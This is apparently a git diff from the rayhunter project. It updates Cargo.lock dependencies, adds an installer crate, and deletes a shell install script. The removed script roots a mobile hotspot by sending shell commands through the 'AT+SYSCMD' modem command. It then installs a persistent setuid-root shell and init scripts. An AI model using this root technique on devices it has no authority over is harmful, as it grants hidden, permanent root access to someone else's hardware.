"35e7868883861bd0e56d9ac6efcaaca0d6d5d82a2a7ec8209ff492c07cf37b21" +checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d" dependencies = [ - "deranged", - "itoa", - "libc", + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "tiff" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba1310fcea54c6a9a4fd1aad794ecc02c31682f6bfbecdf460bf19533eed1e3e" +dependencies = [ + "flate2", + "jpeg-decoder", + "weezl", +] + +[[package]] +name = "time" +version = "0.3.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35e7868883861bd0e56d9ac6efcaaca0d6d5d82a2a7ec8209ff492c07cf37b21" +dependencies = [ + "deranged", + "itoa", + "libc", "num-conv", "num_threads", "powerfmt", @@ -1634,6 +2932,16 @@ dependencies = [ "time-core", ] +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", + "zerovec", +] + [[package]] name = "tokio" version = "1.44.2" @@ -1670,14 +2978,24 @@ checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", +] + +[[package]] +name = "tokio-retry2" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1264d076dd34560544a2799e40e457bd07c43d30f4a845686b031bcd8455c84f" +dependencies = [ + "pin-project", + "tokio", ] [[package]] name = "tokio-stream" -version = "0.1.14" +version = "0.1.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +checksum = "eca58d7bba4a75707817a2c44174253f9236b2d5fbd055602e9d5c07c139a047" dependencies = [ "futures-core", "pin-project-lite", @@ -1739,22 +3057,6 @@ version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ea68304e134ecd095ac6c3574494fc62b909f416c4fca77e440530221e549d3d" -[[package]] -name = "tower" -version = "0.4.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" -dependencies = [ - "futures-core", - "futures-util", - "pin-project", - "pin-project-lite", - "tokio", - "tower-layer", - "tower-service", - "tracing", -] - [[package]] name = "tower" version = "0.5.2" @@ -1803,6 +3105,18 @@ dependencies = [ "once_cell", ] +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "typenum" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" + [[package]] name = "unicase" version = "2.7.0" @@ -1818,54 +3132,132 @@ version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" +[[package]] +name = "url" +version = "2.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32f8b686cadd1473f4bd0117a5d28d36b1ade384ea9b5069a1c40aefed7fda60" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", +] + +[[package]] +name = "utf16_iter" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8232dd3cdaed5356e0f716d285e4b40b932ac434100fe9b7e0e8e935b9e6246" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + [[package]] name = "utf8parse" version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" +[[package]] +name = "v_frame" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f32aaa24bacd11e488aa9ba66369c7cd514885742c9fe08cfe85884db3e92b" +dependencies = [ + "aligned-vec", + "num-traits", + "wasm-bindgen", +] + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version-compare" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "852e951cb7832cb45cb1169900d19760cfa39b82bc0ea9c0e5a14ae88411c98b" + [[package]] name = "version_check" version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + [[package]] name = "wasm-bindgen" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" +checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5" dependencies = [ "cfg-if", + "once_cell", + "rustversion", "wasm-bindgen-macro", ] [[package]] name = "wasm-bindgen-backend" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" +checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6" dependencies = [ "bumpalo", "log", - "once_cell", "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", "wasm-bindgen-shared", ] +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "555d470ec0bc3bb57890405e5d4322cc9ea83cebb085523ced7be4144dac1e61" +dependencies = [ + "cfg-if", + "js-sys", + "once_cell", + "wasm-bindgen", + "web-sys", +] + [[package]] name = "wasm-bindgen-macro" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" +checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -1873,22 +3265,35 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" +checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.91" +version = "0.2.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" +checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "web-sys" +version = "0.3.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33b6dd2ef9186f1f2072e409e99cd22a975331a6b3591b12c764e0e55c60d5d2" +dependencies = [ + "js-sys", + "wasm-bindgen", +] [[package]] name = "weezl" @@ -1896,6 +3301,12 @@ version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" +[[package]] +name = "widestring" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd7cf3379ca1aac9eea11fba24fd7e315d621f8dfe35c8d7d2be8b793726e07d" + [[package]] name = "winapi" version = "0.3.9" @@ -1927,13 +3338,101 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" +dependencies = [ + "windows-core 0.57.0", + "windows-targets 0.52.6", +] + [[package]] name = "windows-core" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ - "windows-targets 0.52.3", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result 0.1.2", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-implement" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "windows-interface" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "windows-link" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38" + +[[package]] +name = "windows-registry" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4286ad90ddb45071efd1a66dfa43eb02dd0dfbae1545ad6cc3c51cf34d7e8ba3" +dependencies = [ + "windows-result 0.3.2", + "windows-strings", + "windows-targets 0.53.0", +] + +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-result" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c64fd11a4fd95df68efcfee5f44a294fe71b8bc6a91993e2791938abcc712252" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87fa48cc5d406560701792be122a10132491cff9d0aeb23583cc2dcafc847319" +dependencies = [ + "windows-link", ] [[package]] @@ -1951,7 +3450,16 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" dependencies = [ - "windows-targets 0.52.3", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", ] [[package]] @@ -1971,17 +3479,34 @@ dependencies = [ [[package]] name = "windows-targets" -version = "0.52.3" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d380ba1dc7187569a8a9e91ed34b8ccfc33123bbacb8c0aed2d1ad7f3ef2dc5f" +checksum = "b1e4c7e8ceaaf9cb7d7507c974735728ab453b67ef8f18febdd7c11fe59dca8b" dependencies = [ - "windows_aarch64_gnullvm 0.52.3", - "windows_aarch64_msvc 0.52.3", - "windows_i686_gnu 0.52.3", - "windows_i686_msvc 0.52.3", - "windows_x86_64_gnu 0.52.3", - "windows_x86_64_gnullvm 0.52.3", - "windows_x86_64_msvc 0.52.3", + "windows_aarch64_gnullvm 0.53.0", + "windows_aarch64_msvc 0.53.0", + "windows_i686_gnu 0.53.0", + "windows_i686_gnullvm 0.53.0", + "windows_i686_msvc 0.53.0", + "windows_x86_64_gnu 0.53.0", + "windows_x86_64_gnullvm 0.53.0", + "windows_x86_64_msvc 0.53.0", ] [[package]] @@ -1992,9 +3517,15 @@ checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] name = "windows_aarch64_gnullvm" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68e5dcfb9413f53afd9c8f86e56a7b4d86d9a2fa26090ea2dc9e40fba56c6ec6" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" [[package]] name = "windows_aarch64_msvc" @@ -2004,9 +3535,15 @@ checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] name = "windows_aarch64_msvc" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8dab469ebbc45798319e69eebf92308e541ce46760b49b18c6b3fe5e8965b30f" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" [[package]] name = "windows_i686_gnu" @@ -2016,9 +3553,27 @@ checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] name = "windows_i686_gnu" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a4e9b6a7cac734a8b4138a4e1044eac3404d8326b6c0f939276560687a033fb" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" [[package]] name = "windows_i686_msvc" @@ -2028,9 +3583,15 @@ checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] name = "windows_i686_msvc" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28b0ec9c422ca95ff34a78755cfa6ad4a51371da2a5ace67500cf7ca5f232c58" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" [[package]] name = "windows_x86_64_gnu" @@ -2040,9 +3601,15 @@ checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] name = "windows_x86_64_gnu" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "704131571ba93e89d7cd43482277d6632589b18ecf4468f591fbae0a8b101614" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" [[package]] name = "windows_x86_64_gnullvm" @@ -2052,9 +3619,15 @@ checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] name = "windows_x86_64_gnullvm" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "42079295511643151e98d61c38c0acc444e52dd42ab456f7ccfd5152e8ecf21c" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" [[package]] name = "windows_x86_64_msvc" @@ -2064,9 +3637,15 @@ checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] name = "windows_x86_64_msvc" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0770833d60a970638e989b3fa9fd2bb1aaadcf88963d1659fd7d9990196ed2d6" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" [[package]] name = "winnow" @@ -2077,6 +3656,27 @@ dependencies = [ "memchr", ] +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags 2.6.0", +] + +[[package]] +name = "write16" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936" + +[[package]] +name = "writeable" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51" + [[package]] name = "wyz" version = "0.5.1" @@ -2086,13 +3686,46 @@ dependencies = [ "tap", ] +[[package]] +name = "yoke" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "120e6aef9aa629e3d4f52dc8cc43a015c7724194c97dfaf45180d2daf2b77f40" +dependencies = [ + "serde", + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2380878cad4ac9aac1e2435f3eb4020e8374b5f13c296cb75b4620ff8e229154" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", + "synstructure", +] + [[package]] name = "zerocopy" version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" dependencies = [ - "zerocopy-derive", + "zerocopy-derive 0.7.32", +] + +[[package]] +name = "zerocopy" +version = "0.8.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1702d9583232ddb9174e01bb7c15a2ab8fb1bc6f227aa1233858c351a3ba0cb" +dependencies = [ + "zerocopy-derive 0.8.25", ] [[package]] @@ -2103,5 +3736,89 @@ checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28a6e20d751156648aa063f3800b706ee209a32c0b4d9f24be3d980b01be55ef" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "zerofrom" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" + +[[package]] +name = "zerovec" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa2b893d79df23bfb12d5461018d408ea19dfafe76c2c7ef6d4eba614f8ff079" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "zune-core" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f423a2c17029964870cfaabb1f13dfab7d092a62a29a89264f4d36990ca414a" + +[[package]] +name = "zune-inflate" +version = "0.2.54" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73ab332fe2f6680068f3582b16a24f90ad7096d5d39b974d1c0aff0125116f02" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "zune-jpeg" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99a5bab8d7dedf81405c4bb1f2b83ea057643d9cb28778cea9eecddeedd2e028" +dependencies = [ + "zune-core", ] diff --git a/Cargo.toml b/Cargo.toml index f078283a..204db37c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -3,8 +3,8 @@ members = [ "lib", "bin", - "serial", "rootshell", "telcom-parser", + "installer", ] resolver = "2" diff --git a/dist/install-windows.bat b/dist/install-windows.bat deleted file mode 100644 index 05276bcf..00000000 --- a/dist/install-windows.bat +++ /dev/null @@ -1 +0,0 @@ -ECHO TODO diff --git a/dist/install.sh b/dist/install.sh deleted file mode 100755 index b0e848f2..00000000 --- a/dist/install.sh +++ /dev/null @@ -1,142 +0,0 @@ -#!/usr/bin/env bash -set -e - -force_debug_mode() { - echo "Using adb at $ADB" - echo "Force a switch into the debug mode to enable ADB" - "$SERIAL_PATH" --root - echo -n "adb enabled, waiting for reboot..." - wait_for_adb_shell - echo " it's alive!" - echo -n "waiting for atfwd_daemon to startup..." - wait_for_atfwd_daemon - echo " done!" -} - -wait_for_atfwd_daemon() { - until [ -n "$(_adb_shell 'pgrep atfwd_daemon')" ] - do - sleep 1 - done -} - -wait_for_adb_shell() { - until _adb_shell true 2> /dev/null - do - sleep 1 - done -} - -setup_rootshell() { - _adb_push rootshell /tmp/ - _at_syscmd "cp /tmp/rootshell /bin/rootshell" - sleep 1 - _at_syscmd "chown root /bin/rootshell" - sleep 1 - _at_syscmd "chmod 4755 /bin/rootshell" - _adb_shell '/bin/rootshell -c id' - echo "we have root!" -} - -_adb_push() { - "$ADB" push "$(dirname "$0")/$1" "$2" -} - -_adb_shell() { - "$ADB" shell "$1" -} - -_at_syscmd() { - "$SERIAL_PATH" "AT+SYSCMD=$1" -} - -setup_rayhunter() { - _at_syscmd "mkdir -p /data/rayhunter" - _adb_push config.toml.example /tmp/config.toml - _at_syscmd "mv /tmp/config.toml /data/rayhunter" - _adb_push rayhunter-daemon-orbic/rayhunter-daemon /tmp/rayhunter-daemon - _at_syscmd "mv /tmp/rayhunter-daemon /data/rayhunter" - _adb_push scripts/rayhunter_daemon /tmp/rayhunter_daemon - _at_syscmd "mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon" - _adb_push scripts/misc-daemon /tmp/misc-daemon - _at_syscmd "mv /tmp/misc-daemon /etc/init.d/misc-daemon" - - _at_syscmd "chmod 755 /etc/init.d/rayhunter_daemon" - _at_syscmd "chmod 755 /etc/init.d/misc-daemon" - - echo -n "waiting for reboot..." - _at_syscmd "shutdown -r -t 1 now" - - # first wait for shutdown (it can take ~10s) - until ! _adb_shell true 2> /dev/null - do - sleep 1 - done - - # now wait for boot to finish - wait_for_adb_shell - - echo " done!" -} - -test_rayhunter() { - URL="http://localhost:8080" - "$ADB" forward tcp:8080 tcp:8080 > /dev/null - echo -n "checking for rayhunter server..." - - SECONDS=0 - while (( SECONDS < 30 )); do - if curl -L --fail-with-body "$URL" -o /dev/null -s; then - echo "success!" - echo "you can access rayhunter at $URL" - return - fi - sleep 1 - done - echo "timeout reached! failed to reach rayhunter url $URL, something went wrong :(" -} - -##### ##### ##### -##### Main ##### -##### ##### ##### -if [[ `uname -s` == "Linux" ]]; then - if [[ `uname -m` == "arm64" ]]; then - export SERIAL_PATH="./serial-ubuntu-24-aarch64/serial" - elif [[ `uname -m` == "x86_64" ]]; then - export SERIAL_PATH="./serial-ubuntu-24/serial" - fi - export PLATFORM_TOOLS="platform-tools-latest-linux.zip" -elif [[ `uname -s` == "Darwin" ]]; then - if [[ `uname -m` == "arm64" ]]; then - export SERIAL_PATH="./serial-macos-arm/serial" - elif [[ `uname -m` == "x86_64" ]]; then - export SERIAL_PATH="./serial-macos-intel/serial" - fi - export PLATFORM_TOOLS="platform-tools-latest-darwin.zip" - # if we've already deleted this attribute, xattr errors out - xattr -d com.apple.quarantine "$SERIAL_PATH" || echo -else - echo "This script only supports Linux or macOS" - exit 1 -fi - -if [ ! -x "$SERIAL_PATH" ]; then - echo "The serial binary cannot be found at $SERIAL_PATH. If you are running this from the git tree please instead run it from the latest release bundle https://github.com/EFForg/rayhunter/releases" - exit 1 -fi - -if ! command -v adb &> /dev/null; then - if [ ! -d ./platform-tools ] ; then - echo "adb not found, downloading local copy" - curl -O "https://dl.google.com/android/repository/${PLATFORM_TOOLS}" - unzip $PLATFORM_TOOLS - fi - export ADB="./platform-tools/adb" -else - export ADB=`which adb` -fi - -force_debug_mode -setup_rootshell -setup_rayhunter -test_rayhunter diff --git a/dist/scripts/rayhunter_daemon b/dist/scripts/rayhunter_daemon index 2befdad2..666992bf 100644 --- a/dist/scripts/rayhunter_daemon +++ b/dist/scripts/rayhunter_daemon @@ -5,6 +5,8 @@ set -e case "$1" in start) echo -n "Starting rayhunter: " + # Below line may be replaced by the installer with device-specific startup commands, such as mounting the SD card. + #RAYHUNTER-PRESTART start-stop-daemon -S -b --make-pidfile --pidfile /tmp/rayhunter.pid \ --startas /bin/sh -- -c "RUST_LOG=info exec /data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml > /data/rayhunter/rayhunter.log 2>&1" echo "done" diff --git a/installer/Cargo.toml b/installer/Cargo.toml new file mode 100644 index 00000000..9c6b744a --- /dev/null +++ b/installer/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "installer" +version = "0.1.0" +edition = "2024" + +[dependencies] +anyhow = "1.0.98" +axum = "0.8.3" +bytes = "1.10.1" +clap = { version = "4.5.37", features = ["derive"] } +hyper = "1.6.0" +hyper-util = "0.1.11" +md5 = "0.7.0" +nusb = "0.1.13" +reqwest = { version = "0.12.15", features = ["json"], default-features = false } +serde = { version = "1.0.219", features = ["derive"] } +sha2 = "0.10.8" +tokio = { version = "1.44.2", features = ["full"] } +tokio-retry2 = "0.5.7" +tokio-stream = "0.1.17" + +[target.'cfg(target_os = "linux")'.dependencies.adb_client] +git = "https://github.com/gaykitty/adb_client.git" +rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81" +default-features = false +features = ["trans-nusb"] + +[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client] +git = "https://github.com/gaykitty/adb_client.git" +rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81" +default-features = false +features = ["trans-libusb"] diff --git 